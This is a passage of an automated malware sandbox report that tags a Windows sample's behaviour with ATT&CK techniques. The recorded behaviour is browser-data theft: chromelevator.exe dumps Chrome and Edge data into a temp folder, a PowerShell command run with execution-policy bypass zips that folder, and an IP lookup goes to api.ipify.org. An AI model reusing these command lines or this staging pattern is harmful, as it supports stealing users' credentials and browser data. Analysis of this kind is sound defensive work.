Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00007464.00000000.154870.3B16A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007464.00000000.154870.7E2A0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007464.00000000.154870.7E2A0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00007464.00000000.154870.7E2A0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DDCFD26B-FEED-44CD-B71" in Source: 00000000-00007464.00000000.154870.7E2A0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007464.00000000.154870.7E2A0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007464.00000000.154870.7E2A0000.00000004.mdmp "Software\Microsoft\EnterpriseCertificates\Disallowed\PhysicalStores" in Source: 00000000-00007464.00000001.155181.1ABB6000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007464.00000001.155181.7E2CD000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007464.00000001.155181.7E34A000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00007464.00000001.155181.7E34A000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DDCFD26B-FEED-44CD-B71" in Source: 00000000-00007464.00000001.155181.7E34A000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007464.00000001.155181.7E34A000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007464.00000001.155181.7E34A000.00000004.mdmp "55Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-20" in Source: 00000000-00007464.00000001.155181.D78B5000.00000004.mdmp4e:T3e5b,"9iqmgvw,czcthawte," - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;tt3;]>-xgj" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lcrosoft" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0system.transactions," - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007464.00000000.154870.1AB00000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00007464.00000000.154870.1B100000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007464.00000000.154870.1B100000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007464.00000000.154870.1B100000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007464.00000000.154870.212F2000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;tt3;]>-xgj" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00007464.00000001.155181.1AB20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007464.00000001.155181.1AB7F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007464.00000001.155181.1AB7F000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lcrosoft" - Source: "00000000-00007464.00000001.155181.1AB7F000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lp*" - Source: "00000000-00007464.00000001.155181.1AB7F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt00<6" - Source: "00000000-00007464.00000001.155181.1ABC4000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007464.00000001.155181.1ABC4000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1l0j" - Source: "00000000-00007464.00000001.155181.1B200000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00007464.00000001.155181.1B200000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsa+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00007464.00000001.155181.1B200000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007464.00000001.155181.1B247000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0jw.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007464.00000001.155181.1B247000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00007464.00000001.155181.1B247000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00007464.00000001.155181.1B247000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007464.00000001.155181.1B247000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j" - Source: "00000000-00007464.00000001.155181.1B247000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007464.00000001.155181.1B291000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007464.00000001.155181.1B2A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007464.00000001.155181.1B2D5000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007464.00000001.155181.1B2D5000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f nul\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00003036-00000C47-1825130664\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c chcp 65001 > nul\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00003036-00000C47-1825130664\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"$48","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003372.00000001.155299.109B3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"\"PLA6A1.tmp\" with parameter C:\\Users (UID: 00000000-00003036)\n \"PLA6A1.tmp\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00003036)\n \"PLA6A1.tmp\" with parameter %USERPROFILE%\\AppData (UID: 00000000-00003036)\n \"PLA6A1.tmp\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00003036)\n \"PLA6A1.tmp\" with parameter %LOCALAPPDATA%\\Temp (UID: 00000000-00003036)\n \"PLA6A1.tmp\" with parameter %TEMP%\\\\Winapi (UID: 00000000-00003036)\n \"PLA6A1.tmp\" with parameter %TEMP%\\\\Winapi\\Browsers (UID: 00000000-00003036)\n \"PLA6A1.tmp\" with parameter %TEMP%\\\\Winapi\\Browsers\\Chrome_raw (UID: 00000000-00003036)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$4b","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Executes Powershell command strings","description":"Process \"powershell.exe\" with commandline \"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -Path '%TEMP%\\\\\\\\Winapi\\\\*' -DestinationPath '%TEMP%\\\\\\\\win.zip' -Force\"\" (UID: 00000000-00007464)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Executes powershell with commandline","description":"Process \"powershell.exe\" with commandline \"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -Path '%TEMP%\\\\\\\\Winapi\\\\*' -DestinationPath '%TEMP%\\\\\\\\win.zip' -Force\"\" (UID: 00000000-00007464)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$4c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"chromelevator.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"PLA6A1.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"User-Agent: wininet/1.0\" (Indicator: \"user-agent: \"; Source: \"00000000-00003036.00000001.155278.67B50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\chrome.nacl.19257_3946\n Found string - \\\\.\\pipe\\LOCAL\\msedge_17108\n Found string - \\\\.\\pipe\\PSHost.134190098415258169.7464.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$4d","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"\"GET / HTTP/1.1\nUser-Agent: Kortex\nHost: api.ipify.org\nCache-Control: no-cache\" Response ==> HTTP/1.1 200 OK\nDate: Thu\n 26 Mar 2026 07:43:53 GMT\nContent-Type: text/plain\nContent-Length: 13\nConnection: keep-alive\nServer: cloudflare\nVary: Origin\ncf-cache-status: DYNAMIC\nCF-RAY: 9e2486e4e96464b6-SJC with response body ==>36342E3132342E31322E313632.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$4e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at FD6D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 21300000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\" nul\" [Source: 00000000-00003036-00000C47-1825130664]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"PLA6A1.tmp\" (UID: 00000000-00003036) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"PLA6A1.tmp\" (UID: 00000000-00003036) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"chcp.com\" (UID: 00000000-00003424) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"chromelevator.exe\" (UID: 00000000-00004020) was launched with new environment variables: \"FPS_BROWSER_APP_PROFILE_STRING=\"Internet Explorer\", FPS_BROWSER_USER_PROFILE_STRING=\"Default\"\"\n Process \"chromelevator.exe\" (UID: 00000000-00004020) was launched with missing environment variables: \"PROMPT\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.ipify.org\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"PLA6A1.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"PLA6A1.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"PLA6A1.tmp\" (UID: 00000000-00003036)\n Spawned process \"cmd.exe\" with commandline \"/c chcp 65001 > nul\" (UID: 00000000-00003500)\n Spawned process \"chcp.com\" with commandline \"chcp 65001\" (UID: 00000000-00003424)\n Spawned process \"chromelevator.exe\" with commandline \"chrome --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Chrome_raw\" -- ...\" (UID: 00000000-00004020)\n Spawned process \"chrome.exe\" (UID: 00000000-00003704)\n Spawned process \"chromelevator.exe\" with commandline \"edge --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Edge_raw\" --kill\" (UID: 00000000-00007000)\n Spawned process \"msedge.exe\" (UID: 00000000-00007316)\n Spawned process \"powershell.exe\" with commandline \"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -P ...\" (UID: 00000000-00007464)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process 